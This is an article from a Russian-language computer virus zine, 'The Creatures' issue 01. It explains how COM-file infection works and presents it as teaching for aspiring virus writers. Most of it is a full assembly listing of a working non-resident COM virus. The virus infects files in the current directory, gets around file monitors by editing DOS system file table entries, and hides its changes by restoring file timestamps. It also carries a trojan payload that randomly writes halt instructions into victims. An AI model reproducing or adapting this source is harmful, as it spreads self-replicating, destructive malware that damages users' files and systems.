┌──┬──┐ /╔════╗/╦══╗ /╔═══╗ ╔═══╗ /╔══╦══╗/╦ /╦/╦══╗ /╔═══╗ ╔═══╗
│┬ ┌── │║ /╩│║ /╚╗│║ / │║ │║ // │║ //│║ │║│║ /╚╗│║ /╩│║ │/╩
│├─┐│ ░░▒▒▒▓▓▓│║▓▓▓▓▓│║▓/╔╝│║▓▓▓▓▓╔╩═══╩╗▓▓▓│║▓▓▓│║▓▓▓│║│║▓/╔╝│║▓▓▓▓│║▓▒▒░
││ │├─ │║ │╠══╣ │║═ │║ │║ │║ │║ │║│╠══╣ │║═ /╚═══╗
││ ││ │║ /╦│║ ╚╗│║ /╦│║ │║ │║ │║ ╔╝│║ ╚╗│║ /╦ ╦ │║
│┴ ┘└─┘ /╚════╝/╩ /╩/╚═══╝/╩ /╩ /╩ /╚═══╝ /╩ /╩/╚═══╝/╚═══╝
│ THE CREATURES │ Computer Virus Magazine │ issue 01
│───────────────┴─────────────────────────┴───────────────────────────────
│
│ ПРОФЕССИОНАЛЬНЫЕ ВИРУСЫ
═══════════════════════════════════════════════════════════════════════════════
[ к членам SGWW - в нарушении авторских прав винить мою лень ]
[ хотя (cl) сохранен, но хрен вас знает, мож не понравится чего.. ]
Тут в .005 писАли про вирусы на паскале... Это все конечно на юзера.
Серьезный вирус пишется только на ассемблере. Вы не знаете ассемблера?
Ах, вы знаете ассемблер? Ха-ха! Знать мнеМОНИКУ - это конечно недостаточно...
хотя необходимо :)
Если вы никогда не писали вируса на ассемблере, то вот вам простейший
пример - нерезидентный COM-вирус с радиусом действия в текущем каталоге.
Фуфло? Ну... вы хотя бы в _это_ фуфло попробуйте врубиться..... >:-))
Итак, как заразить COM-файл?
Рассмотрим "чистые" файлы данного формата (т.е. не .EXE переименованый в
.COM). Данные файлы не могут занимать более 64 килобайт.При компиляции
такого файла создаются исполняемые команды и поля данных определенные
программистом в процессе написания программы. При запуске такой программы
операционная система загружает файл с диска в свободное адресное пространство
с адреса [текущий свободный сегмент : 0100h] и передает управление на оный
адрес (т.е. точка старта 0100h - константа!) Для заражения .COM файла вирусу
надо дописать в этот файл свой код таким образом,чтобы тот получил управление
при старте зараженой программы! (это общепринятый прием при разработке любого
вируса)
Что КОНКРЕТНО может сделать вирус?
а) В простейшем случае можно поверх оригинального начала файла записать
вирусный код.
Тогда при старте зараженного файла этот код получит управление
(что ему собственно и нужно). Hо затерев начальную часть оригинального
кода мы лишимся работоспособности оригинальной (не зараженной) программы!
б) Дабы избавиться от недостатка случая а), в место того,чтобы просто
затереть начало файла своим кодом - мы считываем ВЕСЬ файл в память,
перезаписываем его начальный код на диске телом вируса и после вируса
дописываем в файл ранее считанную программу!
Теперь при старте вируса,тот делает что ему нужно,а после этого переносит
код лежащий после его (вируса) тела под смещение 0100h и передает туда
управление.В итоге работает и вирус и оригинальная программа!
Hадо упомянуть об ограничении на длину результирующего (вирус+оригинальная
программа) файла -> он должен быть =< 64 килобайт.
в) Этот случай самый распространенный:
Мы считываем некоторое количество байт из начала файла в тело вируса,
а затем прямо в начало заражаемой программы записываем код дальнего
перехода jmp near Label (E9h, dw offset Label) причем адрес для перехода
расчитываем таким образом,чтобы при запуске измененного таким образом
файла,переход передал бы управление сразу за концом оригинального кода
программы,а в этот самый конец мы и запишем тело вируса с сохраненными
в нем оригинальными байтами!
Иллюстрация:
╔═══════════════════════╗ <- Hачало файла
║ jmp near Label ║ <- команда занимает три байта!!!
║ --------------------- ║
║ ОРИГИHАЛЬHАЯ ║
║ ПРОГРАММА ║
║(без трех первых байт) ║
║ --------------------- ║
║ Label: ║ <- Сюда направлен адрес перехода
║ ТЕЛО ВИРУСА ║
║(три сохраненных байта)║ <- Их мы перенесем под 0100h
╚═══════════════════════╝ MAX=65535
Теперь при старте программы выполнится переход запускающий вирус,
тот из своего тела перенесет сохраненное начало файла под смещение 0100h,
вирус производит нужные ему действия и передает управление на 0100h.
Теперь - как это будет выглядеть:
1 ; Простейший COM.virus
2 ;
3 ; Copyleft (cl) by Transformer 1994
4 ;-------
5 ; константы:
6 = FC00 SavePSP EQU 0FC00H ; начало буфера для PSP,
7 = FD00 SaveBeg EQU 0FD00H ; начало "буфера начала",
8 = FF00 SaveRest EQU 0FF00H ; начало восстановителя.
9 ;-------
10 0000 CSEG SEGMENT PARA 'Code'
11 ASSUME CS:CSEG,DS:CSEG,ES:CSEG,SS:CSEG
12 ORG 100H
13 0100 MAIN PROC NEAR ; Основная процедура:
14 0100 90 NOP ; признак заражености
15 0101 FC CLD
16 0102 33 F6 XOR SI,SI
17 0104 BF FC00 MOV DI,SavePSP
18 0107 B9 0100 MOV CX,100H
19 010A 51 PUSH CX
20 010B F3> A4 REPE MOVSB ; сохранить начальный PSP
; вместо этого можно установить DTA на SavePSP, а потом восстановить
; (по окончании работы вируса)
21 010D 06 PUSH ES
22 010E B8 3524 MOV AX,3524H ; сохранить
23 0111 CD 21 INT 21H ; обработчика INT 24H
24 0113 89 1E 0224r MOV SaveOff,BX
25 0117 8C 06 0222r MOV SaveSeg,ES
26 011B 07 POP ES
27 011C B8 2524 MOV AX,2524H
28 011F BA 0219r LEA DX,DoINT24 ; поставить своего
29 0122 CD 21 INT 21H ; обработчика INT 24H
30 0124 BA 0080 MOV DX,80H
31 0127 B4 1A MOV AH,1AH ; дополнительно
32 0129 CD 21 INT 21H ; указать DTA
33 012B B4 4E MOV AH,4EH ; найти первую жертву
34 012D B1 E3 MOV CL,11100011B ; атрибуты для поиска
35 012F FindFile:
36 012F BA 021Cr LEA DX,MSK ; текущий каталог
37 0132 CD 21 INT 21H
38 0134 3D 0012 CMP AX,12H ; жертв уже нет ?
39 0137 75 03 JNE CheckLen
40 0139 E9 00AB JMP SoftError
41 013C CheckLen:
42 013C A0 009B MOV AL,BYTE PTR [DS:9BH]
43 013F 3C F7 CMP AL,0F7H
44 0141 77 32 JA FindNext ; FileLength > 0f700h ?
45 0143 3C 02 CMP AL,02H
46 0145 76 2E JNA FindNext ; FileLength < 0200h ?
47 0147 B8 3D00 MOV AX,3D00H
48 014A BA 009E MOV DX,9EH
49 014D CD 21 INT 21H ; открыть файл-жертву
; Комментарий от pretender'a:
; Файл открывается ОДИН РАЗ, и открывается ДЛЯ ЧТЕНИЯ
; (пояснения см ниже)
50 014F 72 24 JC FindNext
51 0151 8B D8 MOV BX,AX
52 0153 B4 3F MOV AH,3FH
53 0155 B9 0129r LEA CX,LVirus
54 0158 BA FD00 MOV DX,SaveBeg
55 015B CD 21 INT 21H ; считать начало файла
56 015D 80 3E FD00 90 CMP BYTE PTR [DS:SaveBeg],90H
57 0162 74 08 JE CloseFile
58 0164 81 3E FD00 5A4D CMP WORD PTR [DS:SaveBeg],'ZM'
59 016A 75 0D JNE Infect ; проверки на EXE
60 016C CloseFile: ; и заразу пройдены ?
61 016C B4 3E MOV AH,3EH
62 016E CD 21 INT 21H ; закрыть файл
63 0170 73 03 JNC FindNext ; диск защищен ?
64 0172 EB 73 90 JMP SoftError
65 0175 FindNext:
66 0175 B4 4F MOV AH,4FH
67 0177 EB B6 JMP FindFile ; найти новый файл
68 0179 Infect:
69 ; поменять режим доступа к жертве в SFT
; Еще один комментарий от pretender'a:
; Конечто, тут можно было бы просто открыть файл для записи...
; Но если в этот момент работает МОНИТОР --> |-[, то и пу-пу вирусу
; Тем более, что данный | способ позволяет писать в Hidden и R/O
; V
70 0179 53 PUSH BX
71 017A 06 PUSH ES
72 017B B8 1220 MOV AX,1220H
73 017E CD 2F INT 2FH
74 0180 26: 8A 1D MOV BL,BYTE PTR [ES:DI]
75 0183 B8 1216 MOV AX,1216H
76 0186 CD 2F INT 2FH
77 0188 26: C6 45 02 02 MOV BYTE PTR [ES:DI+2],2
78 018D 07 POP ES
79 018E 5B POP BX
80 018F A1 0212r MOV AX,LFile
81 0192 50 PUSH AX ; сохранить адрес
82 0193 A1 009A MOV AX,WORD PTR [DS:9AH]
83 0196 05 0100 ADD AX,100H
84 0199 A3 0212r MOV LFile,AX ; новый адрес
85 019C E4 40 IN AL,40H
86 019E 24 0F AND AL,15 ; проверить таймер
87 01A0 75 09 JNE CopyVirus
88 01A2 B9 0226r LEA CX,HitData ; данные
89 01A5 51 PUSH CX ; для троянизации
90 01A6 B9 0003 MOV CX,3
91 01A9 EB 07 JMP SHORT WriteData
92 01AB CopyVirus:
93 01AB B9 0100 MOV CX,100H ; данные
94 01AE 51 PUSH CX ; для копирования
95 01AF B9 0129r LEA CX,LVirus
96 01B2 WriteData:
97 01B2 51 PUSH CX
98 01B3 33 C9 XOR CX,CX
99 01B5 33 D2 XOR DX,DX
100 01B7 B8 4202 MOV AX,4202H
101 01BA CD 21 INT 21H ; перейти в конец файла
102 01BC 59 POP CX
103 01BD 51 PUSH CX
104 01BE B4 40 MOV AH,40H
105 01C0 BA FD00 MOV DX,SaveBeg
106 01C3 CD 21 INT 21H ; записать первые байты
107 01C5 33 C9 XOR CX,CX
108 01C7 33 D2 XOR DX,DX
109 01C9 B8 4200 MOV AX,4200H
110 01CC CD 21 INT 21H ; перейти в начало файла
111 01CE 59 POP CX
112 01CF 5A POP DX
113 01D0 B4 40 MOV AH,40H
114 01D2 CD 21 INT 21H ; записать новое начало
115 01D4 58 POP AX
116 01D5 A3 0212r MOV LFile,AX ; восстановить адрес
117 01D8 B8 5701 MOV AX,5701H
118 01DB 8B 16 0098 MOV DX,WORD PTR [DS:98H]
119 01DF 8B 0E 0096 MOV CX,WORD PTR [DS:96H]
120 01E3 CD 21 INT 21H ; восстановить время
121 01E5 EB 85 JMP CloseFile
122 01E7 SoftError: ; восстановление носителя
123 01E7 1E PUSH DS
124 01E8 8B 16 0224r MOV DX,SaveOff
125 01EC A1 0222r MOV AX,SaveSeg
126 01EF 8E D8 MOV DS,AX
127 01F1 B8 2524 MOV AX,2524H ; восстановить
128 01F4 CD 21 INT 21H ; обработчика INT 24H
129 01F6 1F POP DS
130 01F7 BF FF00 MOV DI,SaveRest
131 01FA 57 PUSH DI ; подготовить стек
132 01FB BE 0216r LEA SI,Recall
133 01FE B9 0003 MOV CX,3 ; переместить
134 0201 F3> A4 REPE MOVSB ; восстановителя
135 0203 BE FC00 MOV SI,SavePSP
136 0206 33 FF XOR DI,DI
137 0208 B9 0100 MOV CX,100H
138 020B 51 PUSH CX
139 020C F3> A4 REPE MOVSB ; восстановить PSP
140 020E B9 0129r LEA CX,LVirus
141 0211 BE DB 10111110B ; команда MOV SI,...
142 0212 0229r LFile DW LVirus+100H ; ...LVirus+100H
143 0214 5F POP DI
144 0215 C3 RET
145 0216 Recall: ; восстановитель носителя
146 0216 F3> A4 REPE MOVSB
147 0218 C3 RET
148 0219 MAIN ENDP
149 ;-------
150 0219 DoINT24 PROC FAR ; обработчик INT 24H
151 0219 B0 03 MOV AL,3
152 021B CF IRET
153 021C DoINT24 ENDP
154 ;-------
155 ; Данные программы:
156 021C 2A 2E 63 6F 6D 00 MSK DB '*.com',0
157 0222 ???? SaveSeg DW ?
158 0224 ???? SaveOff DW ?
159 ;-------
160 0226 HitData LABEL BYTE ; троянская часть
161 0226 90 NOP
162 0227 FA CLI
163 0228 F4 HLT
164 ;-------
165 ; метка конца вируса
166 = CSEG:0129 LVirus EQU $-100H
167 0229 CD 20 INT 20H ; "выродженный носитель"
168 022B CSEG ENDS
169 END MAIN
Небольшие пояснения.
Распределение сегмента при загрузке носителя:
0000h - 0100h - PSP носителя,
0100h - LVir+100h - само изделие,
LVir+100h - LProg+100h - конец носителя,
LProg+100h - LProg+LVir+100h - начало носителя,
FC00h - FD00h - буфер для PSP,
FD00h - FD00h+LVir - начало новой жертвы,
FF00h - FF03h - восстановитель.
Как Вы поймете, данное изделие заражает COM-файлы в текущем каталоге,
причем оно проверяет первые байты объекта заражения, то есть,
замаскированные EXE-файлы не трогает. Признаком заражения я выбрал "Первый
байт файла равен 90h". Хоть сигнатура из одного байта вряд ли обеспечит
нужную однозначность заражения, но хоть к тупым безруковским дрозофилам мое
изделие цепляться не будет. Область заражения - текущий каталог - выбрана из
соображений простоты ( PATH - к сожалению, легко обманывается; обход дерева
каталогов - красиво, но долго; текущий и корневой - овчинка выделки не стоит).
Программа обеспечивает сохранение PSP и времени последней записи в файл,
встроенный обработчик INT 24h позволяет запускать зараженные программы с
защищенных от записи дискет без надоедливых сообщений типа "Abort,Retry,...".
Ну а действительно нормальные вирусы - в следующих номерах Creatures!
^^^^^^^^^^^^^^^^^
ThePretender